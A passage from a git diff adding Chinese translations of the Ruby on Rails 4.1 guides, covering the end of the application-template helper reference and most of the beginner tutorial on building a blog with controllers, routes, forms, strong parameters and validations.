+gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code'
+
+
+
+

使用正则表达式可以更准确的匹配信息。同时可以分别使用append_fileprepend_file方法从文件的开始处或末尾处匹配信息。

9.6 application +

config/application.rb文件中的application类定义之后添加一行信息。

+
+application "config.asset_host = 'http://example.com/'"
+
+
+
+

这个方法也可以写成一个代码块的方式:

+
+application do
+  "config.asset_host = 'http://example.com/'"
+end
+
+
+
+

可用的选项如下:

+
    +
  • +:env -为配置文件指定运行环境,如果你希望写成代码块的方式,可以这么做:
  • +
+
+
+application(nil, env: "development") do
+  "config.asset_host = 'http://localhost:3000/'"
+end
+
+
+
+

9.7 git +

运行指定的git命令:

+
+git :init
+git add: "."
+git commit: "-m First commit!"
+git add: "onefile.rb", rm: "badfile.cxx"
+
+
+
+

哈希值可以作为git命令的参数来使用,上述代码中指定了多个git命令,但并不能保证这些命令按顺序执行。

9.8 vendor +

查找vendor文件加下指定文件是否包含指定内容:

+
+vendor "sekrit.rb", '#top secret stuff'
+
+
+
+

这个方法也可以写成一个代码块 :

+
+vendor "seeds.rb" do
+  "puts 'in your app, seeding your database'"
+end
+
+
+
+

9.9 lib +

查找lib文件加下指定文件是否包含指定内容:

+
+lib "special.rb", "p Rails.root"
+
+
+
+

这个方法也可以写成一个代码块 :

+
+lib "super_special.rb" do
+  puts "Super special!"
+end
+
+
+
+

9.10 rakefile +

在Rails应用的 lib/tasks文件夹下创建一个Rake文件。

+
+rakefile "test.rake", "hello there"
+
+
+
+

这个方法也可以写成一个代码块 :

+
+rakefile "test.rake" do
+  %Q{
+    task rock: :environment do
+      puts "Rockin'"
+    end
+  }
+end
+
+
+
+

9.11 initializer +

在Rails应用的config/initializers 目录下创建一个初始化器:

+
+initializer "begin.rb", "puts 'this is the beginning'"
+
+
+
+

这个方法也可以写成一个代码块,并返回一个字符串:

+
+initializer "begin.rb" do
+  "puts 'this is the beginning'"
+end
+
+
+
+

9.12 generate +

运行指定的生成器,第一个参数是生成器名字,其余的直接传给生成器:

+
+generate "scaffold", "forums title:string description:text"
+
+
+
+

9.13 rake +

运行指定的Rake任务:

+
+rake "db:migrate"
+
+
+
+

可用是选项如下:

+
    +
  • +:env - 声明rake任务的执行环境。
  • +
  • +:sudo - 是否使用sudo命令运行rake任务,默认不使用。
  • +
+

9.14 capify! +

在Rails应用的根目录下使用Capistrano运行capify命令,生成和Rails应用相关的Capistrano配置文件。

+
+capify!
+
+
+
+

9.15 route +

config/routes.rb 文件中添加文本:

+
+route "resources :people"
+
+
+
+

9.16 readme +

输出模版的source_path相关的内容,通常是一个README文件。

+
+readme "README"
+
+
+
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/getting_started.html b/v4.1/getting_started.html new file mode 100644 index 0000000..adc8d77 --- /dev/null +++ b/v4.1/getting_started.html @@ -0,0 +1,1493 @@ + + + + + + + +Rails 入门 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Rails 入门

本文介绍如何开始使用 Ruby on Rails。

读完本文,你将学到:

+
    +
  • 如何安装 Rails,新建 Rails 程序,如何连接数据库;
  • +
  • Rails 程序的基本文件结构;
  • +
  • MVC(模型,视图,控制器)和 REST 架构的基本原理;
  • +
  • 如何快速生成 Rails 程序骨架;
  • +
+ + + + +
+
+ +
+
+
+

1 前提条件

本文针对想从零开始开发 Rails 程序的初学者,不需要预先具备任何的 Rails 使用经验。不过,为了能顺利阅读,还是需要事先安装好一些软件:

+ +

Rails 是使用 Ruby 语言开发的网页程序框架。如果之前没接触过 Ruby,学习 Rails 可要深下一番功夫。网上有很多资源可以学习 Ruby:

+ +

记住,某些资源虽然很好,但是针对 Ruby 1.8,甚至 1.6 编写的,所以没有介绍一些 Rails 日常开发会用到的句法。

2 Rails 是什么?

Rails 是使用 Ruby 语言编写的网页程序开发框架,目的是为开发者提供常用组件,简化网页程序的开发。只需编写较少的代码,就能实现其他编程语言或框架难以企及的功能。经验丰富的 Rails 程序员会发现,Rails 让程序开发变得更有乐趣。

Rails 有自己的一套规则,认为问题总有最好的解决方法,而且建议使用最好的方法,有些情况下甚至不推荐使用其他替代方案。学会如何按照 Rails 的思维开发,能极大提高开发效率。如果坚持在 Rails 开发中使用其他语言中的旧思想,尝试使用别处学来的编程模式,开发过程就不那么有趣了。

Rails 哲学包含两大指导思想:

+
    +
  • +不要自我重复(DRY): DRY 是软件开发中的一个原则,“系统中的每个功能都要具有单一、准确、可信的实现。”。不重复表述同一件事,写出的代码才能更易维护,更具扩展性,也更不容易出问题。
  • +
  • +多约定,少配置: Rails 为网页程序的大多数需求都提供了最好的解决方法,而且默认使用这些约定,不用在长长的配置文件中设置每个细节。
  • +
+

3 新建 Rails 程序

阅读本文时,最佳方式是跟着一步一步操作,如果错过某段代码或某个步骤,程序就可能出错,所以请一步一步跟着做。

本文会新建一个名为 blog 的 Rails 程序,这是一个非常简单的博客。在开始开发程序之前,要确保已经安装了 Rails。

文中的示例代码使用 $ 表示命令行提示符,你的提示符可能修改过,所以会不一样。在 Windows 中,提示符可能是 c:\source_code>

3.1 安装 Rails

打开命令行:在 Mac OS X 中打开 Terminal.app,在 Windows 中选择“运行”,然后输入“cmd.exe”。下文中所有以 $ 开头的代码,都要在命令行中运行。先确认是否安装了 Ruby 最新版:

有很多工具可以帮助你快速在系统中安装 Ruby 和 Ruby on Rails。Windows 用户可以使用 Rails Installer,Mac OS X 用户可以使用 Tokaido

+
+$ ruby -v
+ruby 2.1.2p95
+
+
+
+

如果你还没安装 Ruby,请访问 ruby-lang.org,找到针对所用系统的安装方法。

很多类 Unix 系统都自带了版本尚新的 SQLite3。Windows 等其他操作系统的用户可以在 SQLite3 的网站上找到安装说明。然后,确认是否在 PATH 中:

+
+$ sqlite3 --version
+
+
+
+

命令行应该回显版本才对。

安装 Rails,请使用 RubyGems 提供的 gem install 命令:

+
+$ gem install rails
+
+
+
+

要检查所有软件是否都正确安装了,可以执行下面的命令:

+
+$ rails --version
+
+
+
+

如果显示的结果类似“Rails 4.2.0”,那么就可以继续往下读了。

3.2 创建 Blog 程序

Rails 提供了多个被称为“生成器”的脚本,可以简化开发,生成某项操作需要的所有文件。其中一个是新程序生成器,生成一个 Rails 程序骨架,不用自己一个一个新建文件。

打开终端,进入有写权限的文件夹,执行以下命令生成一个新程序:

+
+$ rails new blog
+
+
+
+

这个命令会在文件夹 blog 中新建一个 Rails 程序,然后执行 bundle install 命令安装 Gemfile 中列出的 gem。

执行 rails new -h 可以查看新程序生成器的所有命令行选项。

生成 blog 程序后,进入该文件夹:

+
+$ cd blog
+
+
+
+

blog 文件夹中有很多自动生成的文件和文件夹,组成一个 Rails 程序。本文大部分时间都花在 app 文件夹上。下面简单介绍默认生成的文件和文件夹的作用:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
文件/文件夹作用
app/存放程序的控制器、模型、视图、帮助方法、邮件和静态资源文件。本文主要关注的是这个文件夹。
bin/存放运行程序的 rails 脚本,以及其他用来部署或运行程序的脚本。
config/设置程序的路由,数据库等。详情参阅“设置 Rails 程序”一文。
config.ru基于 Rack 服务器的程序设置,用来启动程序。
db/存放当前数据库的模式,以及数据库迁移文件。
Gemfile, Gemfile.lock这两个文件用来指定程序所需的 gem 依赖件,用于 Bundler gem。关于 Bundler 的详细介绍,请访问 Bundler 官网
lib/程序的扩展模块。
log/程序的日志文件。
public/唯一对外开放的文件夹,存放静态文件和编译后的资源文件。
Rakefile保存并加载可在命令行中执行的任务。任务在 Rails 的各组件中定义。如果想添加自己的任务,不要修改这个文件,把任务保存在 lib/tasks 文件夹中。
README.rdoc程序的简单说明。你应该修改这个文件,告诉其他人这个程序的作用,如何安装等。
test/单元测试,固件等测试用文件。详情参阅“测试 Rails 程序”一文。
tmp/临时文件,例如缓存,PID,会话文件。
vendor/存放第三方代码。经常用来放第三方 gem。
+

4 Hello, Rails!

首先,我们来添加一些文字,在页面中显示。为了能访问网页,要启动程序服务器。

4.1 启动服务器

现在,新建的 Rails 程序已经可以正常运行。要访问网站,需要在开发电脑上启动服务器。请在 blog 文件夹中执行下面的命令:

+
+$ rails server
+
+
+
+

把 CoffeeScript 编译成 JavaScript 需要 JavaScript 运行时,如果没有运行时,会报错,提示没有 execjs。Mac OS X 和 Windows 一般都提供了 JavaScript 运行时。Rails 生成的 Gemfile 中,安装 therubyracer gem 的代码被注释掉了,如果需要使用这个 gem,请把前面的注释去掉。在 JRuby 中推荐使用 therubyracer。在 JRuby 中生成的 Gemfile 已经包含了这个 gem。所有支持的运行时参见 ExecJS

上述命令会启动 WEBrick,这是 Ruby 内置的服务器。要查看程序,请打开一个浏览器窗口,访问 http://localhost:3000。应该会看到默认的 Rails 信息页面:

欢迎使用页面

要想停止服务器,请在命令行中按 Ctrl+C 键。服务器成功停止后回重新看到命令行提示符。在大多数类 Unix 系统中,包括 Mac OS X,命令行提示符是 $ 符号。在开发模式中,一般情况下无需重启服务器,修改文件后,服务器会自动重新加载。

“欢迎使用”页面是新建 Rails 程序后的“冒烟测试”:确保程序设置正确,能顺利运行。你可以点击“About your application's environment”链接查看程序所处环境的信息。

4.2 显示“Hello, Rails!”

要在 Rails 中显示“Hello, Rails!”,需要新建一个控制器和视图。

控制器用来接受向程序发起的请求。路由决定哪个控制器会接受到这个请求。一般情况下,每个控制器都有多个路由,对应不同的动作。动作用来提供视图中需要的数据。

视图的作用是,以人类能看懂的格式显示数据。有一点要特别注意,数据是在控制器中获取的,而不是在视图中。视图只是把数据显示出来。默认情况下,视图使用 eRuby(嵌入式 Ruby)语言编写,经由 Rails 解析后,再发送给用户。

控制器可用控制器生成器创建,你要告诉生成器,我想要个名为“welcome”的控制器和一个名为“index”的动作,如下所示:

+
+$ rails generate controller welcome index
+
+
+
+

运行上述命令后,Rails 会生成很多文件,以及一个路由。

+
+create  app/controllers/welcome_controller.rb
+ route  get 'welcome/index'
+invoke  erb
+create    app/views/welcome
+create    app/views/welcome/index.html.erb
+invoke  test_unit
+create    test/controllers/welcome_controller_test.rb
+invoke  helper
+create    app/helpers/welcome_helper.rb
+invoke  assets
+invoke    coffee
+create      app/assets/javascripts/welcome.js.coffee
+invoke    scss
+create      app/assets/stylesheets/welcome.css.scss
+
+
+
+

在这些文件中,最重要的当然是控制器,位于 app/controllers/welcome_controller.rb,以及视图,位于 app/views/welcome/index.html.erb

使用文本编辑器打开 app/views/welcome/index.html.erb 文件,删除全部内容,写入下面这行代码:

+
+<h1>Hello, Rails!</h1>
+
+
+
+

4.3 设置程序的首页

我们已经创建了控制器和视图,现在要告诉 Rails 在哪个地址上显示“Hello, Rails!”。这里,我们希望访问根地址 http://localhost:3000 时显示。但是现在显示的还是欢迎页面。

我们要告诉 Rails 真正的首页是什么。

在编辑器中打开 config/routes.rb 文件。

+
+Rails.application.routes.draw do
+  get 'welcome/index'
+
+  # The priority is based upon order of creation:
+  # first created -> highest priority.
+  #
+  # You can have the root of your site routed with "root"
+  # root 'welcome#index'
+  #
+  # ...
+
+
+
+

这是程序的路由文件,使用特殊的 DSL(domain-specific language,领域专属语言)编写,告知 Rails 请求应该发往哪个控制器和动作。文件中有很多注释,举例说明如何定义路由。其中有一行说明了如何指定控制器和动作设置网站的根路由。找到以 root 开头的代码行,去掉注释,变成这样:

+
+root 'welcome#index'
+
+
+
+

root 'welcome#index' 告知 Rails,访问程序的根路径时,交给 welcome 控制器中的 index 动作处理。get 'welcome/index' 告知 Rails,访问 http://localhost:3000/welcome/index 时,交给 welcome 控制器中的 index 动作处理。get 'welcome/index' 是运行 rails generate controller welcome index 时生成的。

如果生成控制器时停止了服务器,请再次启动(rails server),然后在浏览器中访问 http://localhost:3000。你会看到之前写入 app/views/welcome/index.html.erb 文件的“Hello, Rails!”,说明新定义的路由把根目录交给 WelcomeControllerindex 动作处理了,而且也正确的渲染了视图。

关于路由的详细介绍,请阅读“Rails 路由全解”一文。

5 开始使用

前文已经介绍如何创建控制器、动作和视图,下面我们来创建一些更实质的功能。

在博客程序中,我们要创建一个新“资源”。资源是指一系列类似的对象,比如文章,人和动物。

资源可以被创建、读取、更新和删除,这些操作简称 CRUD。

Rails 提供了一个 resources 方法,可以声明一个符合 REST 架构的资源。创建文章资源后,config/routes.rb 文件的内容如下:

+
+Rails.application.routes.draw do
+
+  resources :articles
+
+  root 'welcome#index'
+end
+
+
+
+

执行 rake routes 任务,会看到定义了所有标准的 REST 动作。输出结果中各列的意义稍后会说明,现在只要留意 article 的单复数形式,这在 Rails 中有特殊的含义。

+
+$ bin/rake routes
+      Prefix Verb   URI Pattern                  Controller#Action
+    articles GET    /articles(.:format)          articles#index
+             POST   /articles(.:format)          articles#create
+ new_article GET    /articles/new(.:format)      articles#new
+edit_article GET    /articles/:id/edit(.:format) articles#edit
+     article GET    /articles/:id(.:format)      articles#show
+             PATCH  /articles/:id(.:format)      articles#update
+             PUT    /articles/:id(.:format)      articles#update
+             DELETE /articles/:id(.:format)      articles#destroy
+        root GET    /                            welcome#index
+
+
+
+

下一节,我们会加入新建文章和查看文章的功能。这两个操作分别对应于 CRUD 的 C 和 R,即创建和读取。新建文章的表单如下所示:

新建文章表单

表单看起来很简陋,不过没关系,后文会加入更多的样式。

5.1 挖地基

首先,程序中要有个页面用来新建文章。一个比较好的选择是 /articles/new。这个路由前面已经定义了,可以访问。打开 http://localhost:3000/articles/new ,会看到如下的路由错误:

路由错误,常量 ArticlesController 未初始化

产生这个错误的原因是,没有定义用来处理该请求的控制器。解决这个问题的方法很简单,执行下面的命令创建名为 ArticlesController 的控制器即可:

+
+$ bin/rails g controller articles
+
+
+
+

打开刚生成的 app/controllers/articles_controller.rb 文件,会看到一个几乎没什么内容的控制器:

+
+class ArticlesController < ApplicationController
+end
+
+
+
+

控制器就是一个类,继承自 ApplicationController。在这个类中定义的方法就是控制器的动作。动作的作用是处理文章的 CRUD 操作。

在 Ruby 中,方法分为 publicprivateprotected 三种,只有 public 方法才能作为控制器的动作。详情参阅 Programming Ruby 一书。

现在刷新 http://localhost:3000/articles/new,会看到一个新错误:

ArticlesController 控制器不知如何处理 new 动作

这个错误的意思是,在刚生成的 ArticlesController 控制器中找不到 new 动作。因为在生成控制器时,除非指定要哪些动作,否则不会生成,控制器是空的。

手动创建动作只需在控制器中定义一个新方法。打开 app/controllers/articles_controller.rb 文件,在 ArticlesController 类中,定义 new 方法,如下所示:

+
+class ArticlesController < ApplicationController
+  def new
+  end
+end
+
+
+
+

ArticlesController 中定义 new 方法后,再刷新 http://localhost:3000/articles/new,看到的还是个错误:

找不到 articles/new 所用模板

产生这个错误的原因是,Rails 希望这样的常规动作有对应的视图,用来显示内容。没有视图可用,Rails 就报错了。

在上图中,最后一行被截断了,我们来看一下完整的信息:

+
+Missing template articles/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views"
+
+
+
+

这行信息还挺长,我们来看一下到底是什么意思。

第一部分说明找不到哪个模板,这里,丢失的是 articles/new 模板。Rails 首先会寻找这个模板,如果找不到,再找名为 application/new 的模板。之所以这么找,是因为 ArticlesController 继承自 ApplicationController

后面一部分是个 Hash。:locale 表示要找哪国语言模板,默认是英语("en")。:format 表示响应使用的模板格式,默认为 :html,所以 Rails 要寻找一个 HTML 模板。:handlers 表示用来处理模板的程序,HTML 模板一般使用 :erb,XML 模板使用 :builder:coffee 用来把 CoffeeScript 转换成 JavaScript。

最后一部分说明 Rails 在哪里寻找模板。在这个简单的程序里,模板都存放在一个地方,复杂的程序可能存放在多个位置。

让这个程序正常运行,最简单的一种模板是 app/views/articles/new.html.erb。模板文件的扩展名是关键所在:第一个扩展名是模板的类型,第二个扩展名是模板的处理程序。Rails 会尝试在 app/views 文件夹中寻找名为 articles/new 的模板。这个模板的类型只能是 html,处理程序可以是 erbbuildercoffee。因为我们要编写一个 HTML 表单,所以使用 erb。所以这个模板文件应该命名为 articles/new.html.erb,还要放在 app/views 文件夹中。

新建文件 app/views/articles/new.html.erb,写入如下代码:

+
+<h1>New Article</h1>
+
+
+
+

再次刷新 http://localhost:3000/articles/new,可以看到页面中显示了一个标头。现在路由、控制器、动作和视图都能正常运行了。接下来要编写新建文章的表单了。

5.2 首个表单

要在模板中编写表单,可以使用“表单构造器”。Rails 中常用的表单构造器是 form_for。在 app/views/articles/new.html.erb 文件中加入以下代码:

+
+<%= form_for :article do |f| %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+
+
+

现在刷新页面,会看到上述代码生成的表单。在 Rails 中编写表单就是这么简单!

调用 form_for 方法时,要指定一个对象。在上面的表单中,指定的是 :article。这个对象告诉 form_for,这个表单是用来处理哪个资源的。在 form_for 方法的块中,FormBuilder 对象(用 f 表示)创建了两个标签和两个文本字段,一个用于文章标题,一个用于文章内容。最后,在 f 对象上调用 submit 方法,创建一个提交按钮。

不过这个表单还有个问题。如果查看这个页面的源码,会发现表单 action 属性的值是 /articles/new。这就是问题所在,因为其指向的地址就是现在这个页面,而这个页面是用来显示新建文章表单的。

要想转到其他地址,就要使用其他的地址。这个问题可使用 form_for 方法的 :url 选项解决。在 Rails 中,用来处理新建资源表单提交数据的动作是 create,所以表单应该转向这个动作。

修改 app/views/articles/new.html.erb 文件中的 form_for,改成这样:

+
+<%= form_for :article, url: articles_path do |f| %>
+
+
+
+

这里,我们把 :url 选项的值设为 articles_path 帮助方法。要想知道这个方法有什么作用,我们要回过头再看一下 rake routes 的输出:

+
+$ bin/rake routes
+      Prefix Verb   URI Pattern                  Controller#Action
+    articles GET    /articles(.:format)          articles#index
+             POST   /articles(.:format)          articles#create
+ new_article GET    /articles/new(.:format)      articles#new
+edit_article GET    /articles/:id/edit(.:format) articles#edit
+     article GET    /articles/:id(.:format)      articles#show
+             PATCH  /articles/:id(.:format)      articles#update
+             PUT    /articles/:id(.:format)      articles#update
+             DELETE /articles/:id(.:format)      articles#destroy
+        root GET    /                            welcome#index
+
+
+
+

articles_path 帮助方法告诉 Rails,对应的地址是 /articles,默认情况下,这个表单会向这个路由发起 POST 请求。这个路由对应于 ArticlesController 控制器的 create 动作。

表单写好了,路由也定义了,现在可以填写表单,然后点击提交按钮新建文章了。请实际操作一下。提交表单后,会看到一个熟悉的错误:

ArticlesController 控制器不知如何处理 create 动作

解决这个错误,要在 ArticlesController 控制器中定义 create 动作。

5.3 创建文章

要解决前一节出现的错误,可以在 ArticlesController 类中定义 create 方法。在 app/controllers/articles_controller.rb 文件中 new 方法后面添加以下代码:

+
+class ArticlesController < ApplicationController
+  def new
+  end
+
+  def create
+  end
+end
+
+
+
+

然后再次提交表单,会看到另一个熟悉的错误:找不到模板。现在暂且不管这个错误。create 动作的作用是把新文章保存到数据库中。

提交表单后,其中的字段以参数的形式传递给 Rails。这些参数可以在控制器的动作中使用,完成指定的操作。要想查看这些参数的内容,可以把 create 动作改成:

+
+def create
+  render plain: params[:article].inspect
+end
+
+
+
+

render 方法接受一个简单的 Hash 为参数,这个 Hash 的键是 plain,对应的值为 params[:article].inspectparams 方法表示通过表单提交的参数,返回 ActiveSupport::HashWithIndifferentAccess 对象,可以使用字符串或者 Symbol 获取键对应的值。现在,我们只关注通过表单提交的参数。

如果现在再次提交表单,不会再看到找不到模板错误,而是会看到类似下面的文字:

+
+{"title"=>"First article!", "text"=>"This is my first article."}
+
+
+
+

create 动作把表单提交的参数显示出来了。不过这么做没什么用,看到了参数又怎样,什么都没发生。

5.4 创建 Article 模型

在 Rails 中,模型的名字使用单数,对应的数据表名使用复数。Rails 提供了一个生成器用来创建模型,大多数 Rails 开发者创建模型时都会使用。创建模型,请在终端里执行下面的命令:

+
+$ bin/rails generate model Article title:string text:text
+
+
+
+

这个命令告知 Rails,我们要创建 Article 模型,以及一个字符串属性 title 和文本属性 text。这两个属性会自动添加到 articles 数据表中,映射到 Article 模型。

执行这个命令后,Rails 会生成一堆文件。现在我们只关注 app/models/article.rbdb/migrate/20140120191729_create_articles.rb(你得到的文件名可能有点不一样)这两个文件。后者用来创建数据库结构,下一节会详细说明。

Active Record 很智能,能自动把数据表中的字段映射到模型的属性上。所以无需在 Rails 的模型中声明属性,因为 Active Record 会自动映射。

5.5 运行迁移

如前文所述,rails generate model 命令会在 db/migrate 文件夹中生成一个数据库迁移文件。迁移是一个 Ruby 类,能简化创建和修改数据库结构的操作。Rails 使用 rake 任务运行迁移,修改数据库结构后还能撤销操作。迁移的文件名中有个时间戳,这样能保证迁移按照创建的时间顺序运行。

db/migrate/20140120191729_create_articles.rb(还记得吗,你的迁移文件名可能有点不一样)文件的内容如下所示:

+
+class CreateArticles < ActiveRecord::Migration
+  def change
+    create_table :articles do |t|
+      t.string :title
+      t.text :text
+
+      t.timestamps
+    end
+  end
+end
+
+
+
+

在这个迁移中定义了一个名为 change 的方法,在运行迁移时执行。change 方法中定义的操作都是可逆的,Rails 知道如何撤销这次迁移操作。运行迁移后,会创建 articles 表,以及一个字符串字段和文本字段。同时还会创建两个时间戳字段,用来跟踪记录的创建时间和更新时间。

关于迁移的详细说明,请参阅“Active Record 数据库迁移”一文。

然后,使用 rake 命令运行迁移:

+
+$ bin/rake db:migrate
+
+
+
+

Rails 会执行迁移操作,告诉你创建了 articles 表。

+
+==  CreateArticles: migrating ==================================================
+-- create_table(:articles)
+   -> 0.0019s
+==  CreateArticles: migrated (0.0020s) =========================================
+
+
+
+

因为默认情况下,程序运行在开发环境中,所以相关的操作应用于 config/database.yml 文件中 development 区域设置的数据库上。如果想在其他环境中运行迁移,必须在命令中指明:rake db:migrate RAILS_ENV=production

5.6 在控制器中保存数据

再回到 ArticlesController 控制器,我们要修改 create 动作,使用 Article 模型把数据保存到数据库中。打开 app/controllers/articles_controller.rb 文件,把 create 动作修改成这样:

+
+def create
+  @article = Article.new(params[:article])
+
+  @article.save
+  redirect_to @article
+end
+
+
+
+

在 Rails 中,每个模型可以使用各自的属性初始化,自动映射到数据库字段上。create 动作中的第一行就是这个目的(还记得吗,params[:article] 就是我们要获取的属性)。@article.save 的作用是把模型保存到数据库中。保存完后转向 show 动作。稍后再编写 show 动作。

后文会看到,@article.save 返回一个布尔值,表示保存是否成功。

再次访问 http://localhost:3000/articles/new,填写表单,还差一步就能创建文章了,会看到一个错误页面:

新建文章时禁止使用属性

Rails 提供了很多安全防范措施保证程序的安全,你所看到的错误就是因为违反了其中一个措施。这个防范措施叫做“健壮参数”,我们要明确地告知 Rails 哪些参数可在控制器中使用。这里,我们想使用 titletext 参数。请把 create 动作修改成:

+
+def create
+  @article = Article.new(article_params)
+
+  @article.save
+  redirect_to @article
+end
+
+private
+  def article_params
+    params.require(:article).permit(:title, :text)
+  end
+
+
+
+

看到 permit 方法了吗?这个方法允许在动作中使用 titletext 属性。

注意,article_params 是私有方法。这种用法可以防止攻击者把修改后的属性传递给模型。关于健壮参数的更多介绍,请阅读这篇文章

5.7 显示文章

现在再次提交表单,Rails 会提示找不到 show 动作。这个提示没多大用,我们还是先添加 show 动作吧。

我们在 rake routes 的输出中看到,show 动作的路由是:

+
+article GET    /articles/:id(.:format)      articles#show
+
+
+
+

:id 的意思是,路由期望接收一个名为 id 的参数,在这个例子中,就是文章的 ID。

和前面一样,我们要在 app/controllers/articles_controller.rb 文件中添加 show 动作,以及相应的视图文件。

+
+def show
+  @article = Article.find(params[:id])
+end
+
+
+
+

有几点要注意。我们调用 Article.find 方法查找想查看的文章,传入的参数 params[:id] 会从请求中获取 :id 参数。我们还把文章对象存储在一个实例变量中(以 @ 开头的变量),只有这样,变量才能在视图中使用。

然后,新建 app/views/articles/show.html.erb 文件,写入下面的代码:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+
+
+

做了以上修改后,就能真正的新建文章了。访问 http://localhost:3000/articles/new,自己试试。

显示文章

5.8 列出所有文章

我们还要列出所有文章,对应的路由是:

+
+articles GET    /articles(.:format)          articles#index
+
+
+
+

app/controllers/articles_controller.rb 文件中,为 ArticlesController 控制器添加 index 动作:

+
+def index
+  @articles = Article.all
+end
+
+
+
+

然后编写这个动作的视图,保存为 app/views/articles/index.html.erb

+
+<h1>Listing articles</h1>
+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+  </tr>
+
+  <% @articles.each do |article| %>
+    <tr>
+      <td><%= article.title %></td>
+      <td><%= article.text %></td>
+    </tr>
+  <% end %>
+</table>
+
+
+
+

现在访问 http://localhost:3000/articles,会看到已经发布的文章列表。

5.9 添加链接

至此,我们可以新建、显示、列出文章了。下面我们添加一些链接,指向这些页面。

打开 app/views/welcome/index.html.erb 文件,改成这样:

+
+<h1>Hello, Rails!</h1>
+<%= link_to 'My Blog', controller: 'articles' %>
+
+
+
+

link_to 是 Rails 内置的视图帮助方法之一,根据提供的文本和地址创建超链接。这上面这段代码中,地址是文章列表页面。

接下来添加到其他页面的链接。先在 app/views/articles/index.html.erb 中添加“New Article”链接,放在 <table> 标签之前:

+
+<%= link_to 'New article', new_article_path %>
+
+
+
+

点击这个链接后,会转向新建文章的表单页面。

然后在 app/views/articles/new.html.erb 中添加一个链接,位于表单下面,返回到 index 动作:

+
+<%= form_for :article do |f| %>
+  ...
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

最后,在 app/views/articles/show.html.erb 模板中添加一个链接,返回 index 动作,这样用户查看某篇文章后就可以返回文章列表页面了:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

如果要链接到同一个控制器中的动作,不用指定 :controller 选项,因为默认情况下使用的就是当前控制器。

在开发模式下(默认),每次请求 Rails 都会重新加载程序,因此修改之后无需重启服务器。

5.10 添加数据验证

模型文件,比如 app/models/article.rb,可以简单到只有这两行代码:

+
+class Article < ActiveRecord::Base
+end
+
+
+
+

文件中没有多少代码,不过请注意,Article 类继承自 ActiveRecord::Base。Active Record 提供了很多功能,包括:基本的数据库 CRUD 操作,数据验证,复杂的搜索功能,以及多个模型之间的关联。

Rails 为模型提供了很多方法,用来验证传入的数据。打开 app/models/article.rb 文件,修改成:

+
+class Article < ActiveRecord::Base
+  validates :title, presence: true,
+                    length: { minimum: 5 }
+end
+
+
+
+

添加的这段代码可以确保每篇文章都有一个标题,而且至少有五个字符。在模型中可以验证数据是否满足多种条件,包括:字段是否存在、是否唯一,数据类型,以及关联对象是否存在。“Active Record 数据验证”一文会详细介绍数据验证。

添加数据验证后,如果把不满足验证条件的文章传递给 @article.save,会返回 false。打开 app/controllers/articles_controller.rb 文件,会发现,我们还没在 create 动作中检查 @article.save 的返回结果。如果保存失败,应该再次显示表单。为了实现这种功能,请打开 app/controllers/articles_controller.rb 文件,把 newcreate 动作改成:

+
+def new
+  @article = Article.new
+end
+
+def create
+  @article = Article.new(article_params)
+
+  if @article.save
+    redirect_to @article
+  else
+    render 'new'
+  end
+end
+
+private
+  def article_params
+    params.require(:article).permit(:title, :text)
+  end
+
+
+
+

new 动作中添加了一个实例变量 @article。稍后你会知道为什么要这么做。

注意,在 create 动作中,如果保存失败,调用的是 render 方法而不是 redirect_to 方法。用 render 方法才能在保存失败后把 @article 对象传给 new 动作的视图。渲染操作和表单提交在同一次请求中完成;而 redirect_to 会让浏览器发起一次新请求。

刷新 http://localhost:3000/articles/new,提交一个没有标题的文章,Rails 会退回这个页面,但这种处理方法没多少用,你要告诉用户哪儿出错了。为了实现这种功能,请在 app/views/articles/new.html.erb 文件中检测错误消息:

+
+<%= form_for :article, url: articles_path do |f| %>
+  <% if @article.errors.any? %>
+  <div id="error_explanation">
+    <h2><%= pluralize(@article.errors.count, "error") %> prohibited
+      this article from being saved:</h2>
+    <ul>
+    <% @article.errors.full_messages.each do |msg| %>
+      <li><%= msg %></li>
+    <% end %>
+    </ul>
+  </div>
+  <% end %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

我们添加了很多代码,使用 @article.errors.any? 检查是否有错误,如果有错误,使用 @article.errors.full_messages 显示错误。

pluralize 是 Rails 提供的帮助方法,接受一个数字和字符串作为参数。如果数字比 1 大,字符串会被转换成复数形式。

new 动作中加入 @article = Article.new 的原因是,如果不这么做,在视图中 @article 的值就是 nil,调用 @article.errors.any? 时会发生错误。

Rails 会自动把出错的表单字段包含在一个 div 中,并为其添加了一个 class:field_with_errors。我们可以定义一些样式,凸显出错的字段。

再次访问 http://localhost:3000/articles/new,尝试发布一篇没有标题的文章,会看到一个很有用的错误提示。

出错的表单

5.11 更新文章

我们已经说明了 CRUD 中的 CR 两种操作。下面进入 U 部分,更新文章。

